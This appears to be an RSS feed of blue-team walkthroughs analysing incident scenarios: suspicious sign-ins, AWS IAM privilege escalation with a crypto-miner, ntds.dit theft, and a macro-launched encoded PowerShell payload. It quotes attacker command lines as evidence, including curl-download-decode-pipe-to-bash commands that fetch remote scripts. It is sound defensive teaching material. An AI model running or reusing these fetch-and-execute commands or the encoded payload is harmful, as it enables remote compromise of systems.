            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QuS86N-uQmFME1Dspx3klg.jpeg" /></figure><h3>Introduction</h3><p>Cloud environments and credential theft have become prime targets for attackers seeking to exfiltrate data and escalate privileges. In this post, we analyze scenarios involving unfamiliar login activity, IAM privilege escalation, and credential theft through Active Directory database access. These cases highlight the critical need for strong identity and access management.</p><h3>Scenario #7</h3><h4>Scenario Overview</h4><p>An alert for “<strong><em>Unfamiliar sign-in properties</em></strong>” was received for a user. This is 24 hours of login activity observed surrounding the alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qUPnwVRmk6rwZUj3" /></figure><p>A user triggered an “<strong><em>Unfamiliar sign-in properties</em></strong>” alert, indicating potential unauthorized access. The login activity surrounding the alert must be reviewed for geographic anomalies, device changes, or unusual access times.</p><h4>Step 1: What Happened?</h4><ul><li><strong>Initial Failure from Familiar IP: </strong>At 13:37:02 UTC, a login attempt failed from IP address 20.44.76.55 due to an invalid username or password.</li><li><strong>Successful Logins: </strong>Subsequent login attempts from the same IP were successful at 13:37:53 UTC and 16:22:43 UTC, using Office 365 Exchange Online and Microsoft Teams, respectively.</li><li><strong>Activity from Unfamiliar IP: </strong>At 17:12:24 UTC, activity shifted to IP 185.205.247.162, located in a different region. Multiple failed attempts occurred due to UserStrongAuthClientAuthNRequiredInterrupt, suggesting a Multi-Factor Authentication (MFA) interruption.</li><li><strong>Final Success from Unfamiliar IP: </strong>At 17:14:01 UTC, a login attempt from 185.205.247.162 succeeded, despite earlier failures.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Geographic Inconsistency: </strong>The shift from a familiar IP (20.44.76.55) to an unfamiliar one (185.205.247.162) in a short period is unusual and warrants investigation.</li><li><strong>Multiple Failed Attempts: </strong>Repeated failures from the unfamiliar IP indicate a possible brute-force or credential-stuffing attempt.</li><li><strong>Successful Login After MFA Failures: </strong>The success at 17:14:01 UTC, following failures related to MFA, suggests potential circumvention of authentication controls.</li><li><strong>User Agent Changes: </strong>While most logins used consistent user agents, the Linux-based user agent during some attempts from 185.205.247.162 is an anomaly that could indicate automated or scripted activity.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Credential Compromise: </strong>Credentials may have been compromised through phishing, malware, or credential reuse across platforms.</li><li><strong>MFA Bypass: </strong>MFA failures and eventual success suggest the attacker may have found a way to bypass or intercept MFA tokens.</li><li><strong>Automation or Tools: </strong>The Linux-based user agent and rapid failed attempts indicate the potential use of automated tools for credential validation.</li></ul><h4>Indicators of Compromise (IoCs)</h4><ul><li><strong>Unfamiliar IP Address: </strong>185.205.247.162 should be investigated for geographic location and known associations with malicious activity.</li><li><strong>MFA Failures: </strong>The UserStrongAuthClientAuthNRequiredInterrupt error signals an attempt to bypass or interfere with MFA protections.</li><li><strong>User Agent Changes: </strong>Analyze the Linux-based user agent and its association with failed login attempts.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Temporarily lock the user account and investigate any associated activity.<br>- Block IP 185.205.247.162 if determined to be malicious.</li><li><strong>Forensic Analysis:<br>- </strong>Review logs for additional activity from the suspicious IP.<br>- Check for any modifications or unauthorized access to the user’s account or related services.</li><li><strong>Remediation:<br>- </strong>Reset the user’s credentials and enforce stronger password policies.<br>- Ensure MFA is fully operational and investigate potential bypass methods.</li><li><strong>Long-term Mitigation:<br>- </strong>Enable conditional access policies to restrict login attempts based on geographic location or device type.<br>- Monitor login activity for anomalies using security information and event management (SIEM) tools.<br>- Educate users on phishing awareness and secure authentication practices.</li></ul><h3>Scenario #8</h3><h4>Scenario Overview</h4><p>An alert was received for a new IAM user being created. Below is a sample of surrounding activity from earliest to most recent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7YCpoXr2Q_697aMG" /></figure><p>Additionally, you see the following events occurring roughly 10 minutes later:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SAYgV6f4BBsExQf4" /></figure><p>An alert indicates the creation of a new IAM user. Additional activity within 10 minutes must be analyzed for potential privilege escalation, policy modification, or suspicious actions.</p><h4>Step 1: What Happened?</h4><ul><li><strong>IAM User Creation: </strong>A new IAM user (cluster_admin) was created by principal AROABCD:i-0fbb4b8c004582538 using the AWS CLI.</li><li><strong>Privilege Escalation:<br>- </strong>A new IAM group (ecs_dev) was created and assigned the AdministratorAccess policy.<br>- The user cluster_admin was added to this group, granting it full administrative privileges.</li><li><strong>Resource Creation:<br>- </strong>The user cluster_admin subsequently created an ECS cluster (prod_app) and registered a suspicious task definition referencing the image metal3d/xmrig, which is known to be associated with cryptocurrency mining.<br>- A service (prod_app_svc) was also created, likely to execute and manage the malicious task.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Unusual IAM Changes: </strong>The rapid creation of a user, group, and access key, followed by attaching AdministratorAccess, suggests an attempt to escalate privileges quickly.</li><li><strong>Cryptocurrency Mining Indicators: </strong>The use of the metal3d/xmrig container image is a clear indicator of malicious intent, as it is commonly used for cryptocurrency mining.</li><li><strong>Automated or Scripted Behavior: </strong>The use of the AWS CLI and the rapid sequence of events indicates the likely use of an automated script or compromised credentials.</li><li><strong>Deviation from Expected Behavior: </strong>IAM users and groups are rarely created ad hoc in well-managed environments, and the subsequent actions deviate from typical legitimate activity.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Compromised Credentials: </strong>The principal AROABCD:i-0fbb4b8c004582538 may have been compromised, allowing an attacker to execute commands via the AWS CLI.</li><li><strong>Insider Threat: </strong>An insider with access to the AWS CLI could have intentionally escalated privileges and deployed malicious resources.</li><li><strong>Exploitation of Misconfigured IAM Policies: </strong>Weak or overly permissive policies could have enabled this chain of events.</li></ul><h4>Indicators of Compromise (IoCs)</h4><ul><li><strong>Principal ID: </strong>AROABCD:i-0fbb4b8c004582538 should be reviewed for other actions or anomalies.</li><li><strong>Container Image: </strong>The use of metal3d/xmrig indicates cryptocurrency mining activity.</li><li><strong>IAM Changes: </strong>Creation of the ecs_dev group and attachment of the AdministratorAccess policy.</li><li><strong>Timeline Correlation: </strong>Analyze actions around the 10-minute gap between IAM changes and ECS activity.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Revoke the access key for cluster_admin and disable the user account.<br>- Terminate the ECS cluster (prod_app) and service (prod_app_svc).</li><li><strong>Forensic Analysis:<br>- </strong>Review CloudTrail logs to identify other potentially compromised principals or actions.<br>- Examine access patterns for the principal AROABCD:i-0fbb4b8c004582538 to determine the point of compromise.</li><li><strong>Remediation:<br>- </strong>Remove the AdministratorAccess policy from the ecs_dev group and delete the group if unnecessary.<br>- Implement stricter IAM controls, such as least privilege and policy restrictions.</li><li><strong>Prevention:<br>- </strong>Enable Multi-Factor Authentication (MFA) for all IAM users.<br>- Monitor IAM activity with automated alerts for sensitive events, such as CreateUser or AttachGroupPolicy.<br>- Regularly audit IAM roles, users, and policies to identify and mitigate risks.</li></ul><h3>Scenario #9</h3><h4>Scenario Overview</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o13Xf-IwYZqNyerP" /></figure><p>This scenario demonstrates the use of remote access software (ScreenConnect) and volume shadow copy tools to potentially extract sensitive Active Directory database files (ntds.dit).</p><h4>Step 1: What Happened?</h4><ul><li><strong>ScreenConnect Client Execution: </strong>The remote access software (ScreenConnect.ClientService.exe) was executed under the .\helpdesk_admin account, indicating remote or administrative access to the system.</li><li><strong>Script Execution: </strong>A script (run.cmd) stored in a temporary directory was invoked via cmd.exe. The script’s purpose is unclear from the telemetry but is likely part of a malicious workflow.</li><li><strong>Sensitive File Access: </strong>A secondary command attempted to copy the Active Directory database file (ntds.dit) from a shadow copy location (HarddiskVolumeShadowCopy1) to a temporary directory.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Access to </strong><strong>ntds.dit: </strong>The ntds.dit file contains Active Directory data, including user credentials. Attempting to copy it is a strong indicator of credential theft or lateral movement preparation.</li><li><strong>Use of Shadow Copies: </strong>Accessing shadow copies is a known technique to bypass Active Directory protection mechanisms, as shadow copies are snapshots of the system at specific points in time.</li><li><strong>Remote Access Software: </strong>The use of ScreenConnect under an administrative account (.\helpdesk_admin) raises concerns about unauthorized or misused remote access.</li><li><strong>Temporary Files and Commands: </strong>The use of a temporary script (run.cmd) and temporary file (eyTvzGUH.tmp) indicates attempts to obfuscate activity and avoid leaving permanent traces.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Compromised Administrative Credentials: </strong>The .\helpdesk_admin account may have been compromised, allowing the attacker to execute commands with administrative privileges.</li><li><strong>Exploitation of Remote Access Software: </strong>ScreenConnect could have been used by an attacker to establish a foothold on the system, leveraging its legitimate functionality to execute malicious commands.</li><li><strong>Privilege Escalation and Reconnaissance: </strong>Accessing ntds.dit suggests the attacker is attempting to escalate privileges or collect credentials for lateral movement.</li></ul><h4>Indicators of Compromise (IoCs)</h4><ul><li><strong>Process and Commands:<br>- </strong>89d3d099b6d8731bd1b7f5a68b5bf17c (ScreenConnect process MD5).<br>- The command copying ntds.dit to eyTvzGUH.tmp.</li><li><strong>Files and Paths:<br>- </strong>Temporary script: C:\Windows\TEMP\ScreenConnect\23.8.5.8707\5f220139-32c8-4527-aebb-a09e55e8dfe8run.cmd.<br>- Copied file: C:\Windows\Temp\eyTvzGUH.tmp.</li><li><strong>Account: </strong>.\helpdesk_admin: Investigate the activity associated with this account for further anomalies.</li><li><strong>Shadow Copy Access: </strong>Use of HarddiskVolumeShadowCopy1 to access sensitive files.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Revoke the .\helpdesk_admin account credentials and investigate for potential compromise.<br>- Terminate the ScreenConnect.ClientService.exe process and block its execution temporarily.</li><li><strong>Forensic Analysis:<br>- </strong>Review logs for the creation and execution of the run.cmd script.<br>- Investigate access to shadow copies and identify other sensitive files that may have been accessed or exfiltrated.</li><li><strong>Remediation:<br>- </strong>Disable or secure the use of ScreenConnect, ensuring it is used only by trusted parties.<br>- Harden shadow copy and Active Directory protection to prevent unauthorized access.</li><li><strong>Prevention:<br>- </strong>Implement Multi-Factor Authentication (MFA) for administrative accounts.<br>- Regularly audit and monitor remote access tools for unusual activity.<br>- Enable logging for shadow copy access and configure alerts for suspicious behavior.</li></ul><h3>Conclusion</h3><p><strong><em>Scenarios #7, #8, </em></strong>and<strong><em> #9</em></strong> reveal the devastating impact of compromised credentials and inadequate cloud security practices. By enforcing MFA, auditing IAM activities, and monitoring for suspicious logins, organizations can better protect their environments. As this series concludes, we hope these walkthroughs have equipped you with the knowledge to detect and mitigate these threats effectively. Stay vigilant, and prioritize proactive security measures to safeguard your systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b750c0982eb1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authentication Under Attack: Privilege Escalation in a CIRT Technical Interview]]></title>
            <link>https://systemweakness.com/authentication-under-attack-privilege-escalation-in-a-cirt-technical-interview-f33eb7679326?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/f33eb7679326</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Thu, 23 Jan 2025 15:06:46 GMT</pubDate>
            <atom:updated>2025-01-24T17:52:05.694Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQlX5a108E3eqmI4IaM5YA.jpeg" /></figure><h3>Introduction</h3><p>Authentication and privilege escalation are two key stages in many cyberattacks. In this post, we examine scenarios where attackers exploit Microsoft Office macros and PowerShell commands to compromise credentials and enumerate systems. These examples showcase how attackers prepare for further exploitation after gaining initial access.</p><h3>Scenario #5</h3><h4>Scenario Overview</h4><ul><li><strong>Peer Process:</strong> c:\program files\microsoft office\office16\winword.exe</li><li><strong>Peer MD5:</strong> 5f48187825409cbbf797617a991ce4a4</li><li><strong>Peer CLI:</strong></li></ul><pre>C:\Program Files\Microsoft Office\Office16\WINWORD.EXE&quot; /n &quot;C:\Users\UserName\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\KW7Y6LC1\Untitled-20201014-H470846.doc&quot; /o &quot;</pre><ul><li><strong>Parent Process:</strong> c:\windows\system32\wbem\wmiprvse.exe</li><li><strong>Parent MD5:</strong> 801e8003c257c8f540b20f1e0decd3a6</li><li><strong>Child Process:</strong> c:\windows\system32\windowspowershell\v1.0\powershell.exe</li><li><strong>Child MD5:</strong> cda48fc75952ad12d99e526d0b6bf70a</li><li><strong>Child CLI:</strong></li></ul><pre>POwersheLL -ENCOD SkU5allYWndPRE05VzJOb1lYSmROREk3SkZVMk9XSnFOREE5S0NqaWdKaENidUtBbVN2aWdKaDZZbmJpZ0prcEsrS0FtRGhzNG9DWktUc21LT0tBbUc1bGQrS0FtU3ZpZ0pndGFlS0FtU3ZpZ0poMFpXM2lnSmtwSUNSbGJuW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NG9DWksrS0FtR1hpZ0prcjRvQ1ljaTlNNG9DWktTdmlnSmd2NG9DWktTN2lnSnh6VUd4Z2FWVGlnSjBvSkU5allYWndPRE1wT3lSTU5UTTFlbTFsUFNnbzRvQ1lSSFBpZ0prcjRvQ1lNM1ZsNG9DWktTdmlnSmd6NG9DWksrS0FtSERpZ0prcE8yWnZjbVZoWTJnb0pFVXhNMnBsZDNNZ2FXNGdKRkYwT1dKM1pYRXBlM1J5ZVhza1FXTnNlbUkzTmk3aWdKeGtZRTlYYmt4dlFXUmdSbWxnVEdYaWdKMG9KRVV4TTJwbGQzTXNJQ1JJZDNweE9IZ3hLVHNrVEdWdFpuWm1ORDBvS09LQW1GQnhiZUtBbVN2aWdKaHI0b0NaS1N2aWdKaDQ0b0NaSytLQW1EQm40b0NaS1R0SlppQW9LQzRvNG9DWVIyWGlnSmtyNG9DWWRDMUpkR1hpZ0prcjRvQ1liZUtBbVNrZ0pFaDNlbkU0ZURFcEx1S0FuR3hsWUU1bllGUkk0b0NkSUMxblpTQXpNakEzTkNrZ2V5WW80b0NZU1c3aWdKa3I0b0NZZHVLQW1TdmlnSmh2YTJVdFNYUmw0b0NaSytLQW1HM2lnSmtwS0NSSWQzcHhPSGd4S1Rza1VHVmxNSHAyY1QwbzRvQ1lSK0tBbVNzbzRvQ1laalJ4YStLQW1TdmlnSmgwYytLQW1Ta3BPMkp5WldGck95Uk5OVGRzWjNkclBTamlnSmhUNG9DWkt5amlnSmhwYXVLQW1TdmlnSmhoTmVLQW1TdmlnSmhtWitLQW1Ta3BmWDFqWVhSamFIdDlmU1JGTm5ONGEyWXlQU2dvNG9DWldETnNZVi9pZ0pncjRvQ1pkK0tBbVNrcjRvQ1liT0tBbVNrPQ==</pre><ul><li><strong>Process File Write:<br>- File Path:</strong> c:\users\UserName\b20dyak\ovpqho4\v9ofyxp.exe<br><strong>- File MD5:</strong> 7ee4feeded88cb104448141ef375be8c</li><li><strong>File Modification Count:</strong> 1</li><li><strong>Network Connection Count:</strong> 1</li></ul><p>A PowerShell command with encoded content is executed via winword.exe, indicating a malicious macro or script obfuscating its intent. The payload involves writing a suspicious executable file to disk.</p><h4>Step 1: What Happened?</h4><ul><li><strong>Microsoft Word Execution: </strong>The process winword.exe was executed with a document path indicating a temporary cache directory. Suspicious Word documents are a common delivery mechanism for malicious macros.</li><li><strong>WMIPRVSE Parent Process: </strong>The parent process, wmiprvse.exe, is a legitimate Windows Management Instrumentation (WMI) provider service but is often leveraged by attackers to execute malicious commands stealthily.</li></ul><blockquote><strong>WmiPrvSE.exe, also known as the WMI Provider Host, is a legitimate process by Microsoft that is used to manage data and operations on Windows systems both locally and remotely. However, it can also be exploited by cyber attackers for malicious purposes, such as executing code remotely, lateral movement, and persistence.</strong></blockquote><ul><li><strong>PowerShell Execution: </strong>The child process powershell.exe executed with a Base64-encoded payload. This encoding technique is frequently used to obfuscate malicious scripts.</li><li><strong>File Creation: </strong>The PowerShell process wrote an executable file to a directory (b20dyak\ovpqho4) under the user’s profile. The file’s MD5 hash does not match any known legitimate software, suggesting it is likely malicious.</li><li><strong>Network Connection: </strong>A single network connection indicates potential communication with a command-and-control (C2) server, possibly to download additional payloads or exfiltrate data.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Encoded PowerShell Payload: </strong>The use of -ENCOD to execute a Base64-encoded script is a hallmark of malicious activity, designed to obfuscate commands and bypass detection.</li><li><strong>Unusual File Path and Creation: </strong>The file v9ofyxp.exe was written to an unusual directory under the user’s profile. Attackers often use such paths to evade notice.</li><li><strong>Process Chain Involving Office Applications: </strong>A process chain starting from winword.exe with subsequent PowerShell execution is a well-documented pattern of macro-enabled attacks.</li><li><strong>Network Activity: </strong>Network connections following suspicious file creation and PowerShell execution indicate possible external communication, a key step in most malware operations.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Phishing Attack: </strong>The user may have opened a malicious Word document received via email, which contained a macro or embedded script.</li><li><strong>Macro Execution: </strong>Once the document was opened and macros enabled, it initiated the process chain, leading to the execution of the encoded PowerShell payload.</li><li><strong>Payload Execution: </strong>The PowerShell script downloaded or generated an executable file (v9ofyxp.exe) and possibly established communication with a remote server.</li></ul><h4>Indicators of Compromise (IoCs)</h4><ul><li><strong>File Hashes:<br>- </strong>Peer MD5: 5f48187825409cbbf797617a991ce4a4<br>- Parent MD5: 801e8003c257c8f540b20f1e0decd3a6<br>- Child MD5: cda48fc75952ad12d99e526d0b6bf70a<br>- Created File MD5: 7ee4feeded88cb104448141ef375be8c</li><li><strong>File Paths: </strong>c:\users\UserName\b20dyak\ovpqho4\v9ofyxp.exe</li><li><strong>Processes: </strong>winword.exe spawning powershell.exe.</li><li><strong>Network Connections: </strong>Identify the remote IPs or domains contacted by the process.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Quarantine the affected system to prevent further network communication.<br>- Block network connections to suspicious domains or IPs identified in logs.</li><li><strong>Forensic Analysis:<br>- </strong>Decode the Base64 PowerShell payload to determine its functionality.<br>- Analyze the executable file (v9ofyxp.exe) for malicious behavior.<br>- Review system and network logs for additional indicators.</li><li><strong>Remediation:<br>- </strong>Remove all files and processes associated with the incident.<br>- Revoke or reset any credentials that may have been compromised.</li><li><strong>Prevention:<br>- </strong>Disable macros by default in Office applications.<br>- Implement endpoint protection with behavior-based detection capabilities.<br>- Train users to recognize phishing attempts and avoid enabling macros.</li></ul><h3>Scenario #6</h3><h4>Scenario Overview</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BQnEeXBB9nrEd5Vs" /></figure><p>This scenario includes evidence of PowerShell execution running a script (TSS.ps1) in conjunction with commands that gather extensive system information. The activity is indicative of enumeration and preparation for further actions, possibly malicious.</p><h4>Step 1: What Happened?</h4><ul><li><strong>PowerShell Execution: </strong>A PowerShell script (TSS.ps1) was executed with the -ProcDump parameter, likely indicating an attempt to dump memory or process information.</li></ul><blockquote><strong>TSS.ps1 with -ProcDump allows you to use the ProcDump tool to capture process dumps of applications, which can be useful for troubleshooting high CPU usage or other performance issues. Combining </strong><strong><em>TSS.ps1</em> with </strong><strong><em>-ProcDump</em> can provide a powerful toolset to diagnose and analyze issues related to process behavior and memory contents.</strong></blockquote><ul><li><strong>System Enumeration Commands: </strong>The following commands suggest reconnaissance:<br>- Get-CimInstance queries system and hardware information.<br>- whoami /user retrieves details about the current user.<br>- Get-MpPreference checks Windows Defender configurations.</li><li><strong>Administrative Queries and Actions:<br>- </strong>vssadmin list volumes and schtasks.exe /query /v indicate attempts to gather information about shadow copies and scheduled tasks.<br>- bcdedit.exe /enum all /v inspects boot configuration settings, often used to prepare for persistence or configuration changes.</li><li><strong>Registry and Networking Commands:<br>- </strong>Exporting the Internet Settings registry key (REG.exe EXPORT) may suggest exfiltration or further exploitation.<br>- Network reconnaissance (ipconfig, netstat -naob) suggests potential data exfiltration or lateral movement planning.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Comprehensive Enumeration: </strong>The commands executed collectively provide an attacker with a detailed understanding of the target system’s environment, configurations, and network.</li><li><strong>PowerShell Usage: </strong>PowerShell is a commonly abused tool for executing malicious scripts and is particularly concerning when used with parameters like -ProcDump, which could indicate credential dumping or memory extraction.</li><li><strong>Registry Key Export: </strong>Exporting the Internet Settings key is unusual in typical system operations and could signal an attempt to gather sensitive user configurations.</li><li><strong>Volume Shadow Copy Enumeration: </strong>The use of vssadmin list volumes often precedes attempts to delete or modify shadow copies, which could be part of a ransomware attack.</li><li><strong>Network and Process Information: </strong>Gathering detailed network and process data (ipconfig, netstat -naob) is commonly associated with reconnaissance for lateral movement or persistence.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Initial Compromise: </strong>The execution of TSS.ps1 indicates that a malicious script was likely delivered to the system. This could have occurred through phishing, drive-by download, or another vector.</li><li><strong>System Reconnaissance: </strong>The commands suggest the attacker is attempting to gather as much system and network information as possible to determine the environment and plan further exploitation.</li><li><strong>Preparation for Attack: </strong>Exporting registry keys, examining shadow copies, and gathering process and network details point to preparation for either data exfiltration, privilege escalation, or persistence mechanisms.</li></ul><h4>Indicators of Compromise (IoCs)</h4><ul><li><strong>File Hashes:<br>- </strong>Process MD5: cda48fc75952ad12d99e526d0b6bf70a <br>- Verify the integrity of the TSS.ps1 script.</li><li><strong>Command Execution: </strong>The sequence of commands executed provides clear indicators of suspicious behavior.</li><li><strong>File Paths: </strong>C:\Users\Public\Desktop\TSS\TSS.ps1</li><li><strong>Network Activity: </strong>Check for network connections corresponding to the netstat -naob output to identify external communication.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Isolate the system to prevent further network communication or spread.<br>- Suspend PowerShell execution on the system for analysis.</li><li><strong>Forensic Investigation:<br>- </strong>Review logs for the execution of TSS.ps1 and the subsequent commands.<br>- Examine the exported registry keys and dumped process data for signs of sensitive information.<br>- Identify and analyze any outbound connections initiated during this activity.</li><li><strong>Remediation:<br>- </strong>Remove the TSS.ps1 script and any associated files.<br>- Update endpoint protection tools to detect similar behavior.<br>- Review and harden PowerShell execution policies.</li><li><strong>Prevention:<br>- </strong>Implement application whitelisting to prevent the execution of untrusted scripts.<br>- Enable PowerShell logging to capture all command executions.<br>- Train users to recognize phishing and avoid executing untrusted scripts.</li></ul><h3>Conclusion</h3><p><strong><em>Scenarios #5</em></strong> and <strong><em>#6</em></strong> underscore the importance of securing authentication mechanisms and restricting access to powerful tools like PowerShell. By implementing robust security controls, including monitoring and logging, organizations can detect these activities early and prevent further escalation. Join us in the final post of this series as we tackle cloud-focused attacks and credential theft.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f33eb7679326" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/authentication-under-attack-privilege-escalation-in-a-cirt-technical-interview-f33eb7679326">Authentication Under Attack: Privilege Escalation in a CIRT Technical Interview</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advanced Threat Detection: Exploitation Tactics from a CIRT Technical Interview]]></title>
            <link>https://anshumansingh1.medium.com/advanced-threat-detection-exploitation-tactics-from-a-cirt-technical-interview-621206151a4e?source=rss-9268a58fb349------2</link>
            <guid isPermaLink="false">https://medium.com/p/621206151a4e</guid>
            <category><![CDATA[cyber-defense]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anshuman Singh]]></dc:creator>
            <pubDate>Thu, 23 Jan 2025 04:19:03 GMT</pubDate>
            <atom:updated>2025-01-23T04:19:03.227Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIGiQdbBLu5-QBWXKw89mg.jpeg" /></figure><h3>Introduction</h3><p>As attackers continue to evolve their methods, exploiting misconfigurations and leveraging powerful tools like PowerShell becomes a common tactic. In this post, we delve into two scenarios where attackers exploit Redis misconfigurations and shadow copy utilities to gain unauthorized access and execute malicious payloads. These cases demonstrate the sophistication of modern attacks and the need for proactive defense measures.</p><h3>Scenario #3</h3><h4>Scenario Overview</h4><ul><li><strong>Parent Process:</strong> redis-server</li><li><strong>Parent MD5:</strong> 9494cfd0f8c829acd9b1a88f9a0fd2ec</li><li><strong>Process CLI:</strong></li></ul><pre>bash -c &quot;curl hxxps://gist.githubusercontent[.]com/ForensicITGuy/165c3de5c3f23168517820b12311fd35/raw/c6e44a7e946fba1bb5eaa0d570aeb98727b8cdc8/totes-evil.sh | base64 -d | bash&quot;</pre><ul><li><strong>Network Connection Count:</strong> 1</li></ul><p>The Redis server process is exploited to execute a curl command that downloads and executes a base64-encoded script. This suggests a misconfigured Redis service being leveraged for remote command execution.</p><h4>Step 1: What Happened?</h4><ul><li><strong>Parent Process:<br>- </strong>The Redis server process (redis-server) initiated a child process, indicating potential exploitation.<br>- Redis servers, when misconfigured, are known to be exploited by attackers to execute arbitrary commands.</li><li><strong>Command Execution:<br>- </strong>The command uses curl to fetch a script from a GitHub Gist repository, decode it using base64, and immediately execute it via bash.<br>- This is a classic example of a “living off the land” attack, leveraging pre-installed utilities like curl, base64, and bash to execute malicious payloads.</li></ul><blockquote><strong>A “Living off the Land” (LOTL) attack is a sophisticated cyberattack technique where hackers use legitimate tools and features already present in the target system to conduct malicious activities. This method allows attackers to blend in with normal operations, making detection by traditional security measures challenging.</strong></blockquote><ul><li><strong>Network Connection: </strong>The single network connection likely corresponds to the curl command’s retrieval of the remote script.</li></ul><h4>Step 2: Why is This Suspicious?</h4><ul><li><strong>Redis Exploitation: </strong>Redis servers are frequently targeted when misconfigured (e.g., lacking authentication or exposed to the internet). Attackers can exploit these weaknesses to execute unauthorized commands.</li><li><strong>Fetching Remote Scripts: </strong>Downloading and executing a remote script in a single command is highly suspicious and indicates malicious intent.</li><li><strong>Obfuscated URL: </strong>The use of a GitHub Gist URL (hxxps://gist.githubusercontent[.]com) and obfuscation (e.g., encoding with base64) suggests an attempt to evade detection.</li><li><strong>No User Interaction: </strong>The process chain indicates automated execution, likely part of a larger attack campaign targeting vulnerable servers.</li></ul><h4>Step 3: How Could This Happen?</h4><ul><li><strong>Exposed Redis Server: </strong>The Redis server might be misconfigured, allowing unauthorized access and command execution.</li><li><strong>Automated Attack Script: </strong>Attackers often scan for publicly accessible Redis servers and use automated scripts to inject malicious commands.</li><li><strong>Remote Code Execution: </strong>By fetching and executing the script from the GitHub Gist, the attacker likely aimed to install a backdoor, exfiltrate data, or gain persistent access.</li></ul><h4>Indicators of Compromise (IoCs)</h4><p>To confirm malicious activity, focus on:</p><ul><li><strong>File Hashes: </strong>Parent Process MD5: 9494cfd0f8c829acd9b1a88f9a0fd2ec Retrieve the downloaded script from the URL and calculate its hash for analysis.</li><li><strong>Network Activity: </strong>Identify and analyze connections to the GitHub Gist URL (hxxps://gist.githubusercontent[.]com/ForensicITGuy/165c3de5c3f23168517820b12311fd35/raw/c6e44a7e946fba1bb5eaa0d570aeb98727b8cdc8/totes-evil.sh).</li><li><strong>Command History: </strong>Review shell command execution logs to verify the full extent of activity related to this attack.</li></ul><h4>Recommended Actions</h4><ul><li><strong>Immediate Containment:<br>- </strong>Isolate the Redis server to prevent further exploitation or command execution.<br>- Block outbound traffic to suspicious URLs and IP addresses.</li><li><strong>Forensic Investigation:<br>- </strong>Retrieve and analyze the script hosted at the GitHub Gist URL.<br>- Review Redis server logs for unauthorized access and executed commands.</li><li><strong>Remediation:<br>- </strong>Secure the Redis server by enabling authentication and restricting access to trusted IP addresses.<br>- Patch Redis to the latest version to mitigate known vulnerabilities.</li><li><strong>Long-term Protection:<br>- </strong>Deploy a Web Application Firewall (WAF) to monitor and block unauthorized requests.<br>- Monitor for abnormal process chains and network activity using EDR solutions.<br>- Educate administrators on securing Redis and other database services.</li></ul><h3>Scenario #4</h3><h4>Scenario Overview</h4><ul><li><strong>Grandparent Process:</strong> /private/tmp/b6yNLWzjO</li><li><strong>Grandparent MD5:</strong> ab47aa51b678216bc998fe7e5fe7aefd</li><li><strong>Grandparent CLI:</strong></li></ul><pre>/tmp/b6yNLWzjO /Volumes/Installer/Installer.app/Contents/MacOS/LightEvening</pre><ul><li><strong>Parent Process:</strong> /bin/sh</li><li><strong>Parent MD5:</strong> 95d23ed8b5448779eee9863d2bc5c1ba</li><li><strong>Parent CLI:</strong></li></ul><pre>sh -c curl -f0L -o /tmp/EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63/45D77C73-D4A2-4698-A0A1-34926AEDF82D &#39;hxxp://redacted.cloudfront[.]net/sd/?c=22lybQ==&amp;u=67D936BA-DC18-5557-AF59-A61155059BC5&amp;s=EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63&amp;o=10.15.7&amp;b=11821208528&amp;gs=1&#39; &gt; /dev/null 2&gt;&amp;1</pre><ul><li><strong>Child Process:</strong> /usr/bin/curl</li><li><strong>Child MD5:</strong> 0846e04c22488b04222817529f235024</li><li><strong>Child CLI:</strong></li></ul><pre>curl -f0L -o /tmp/EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63/45D77C73-D4A2-4698-A0A1-34926AEDF82D 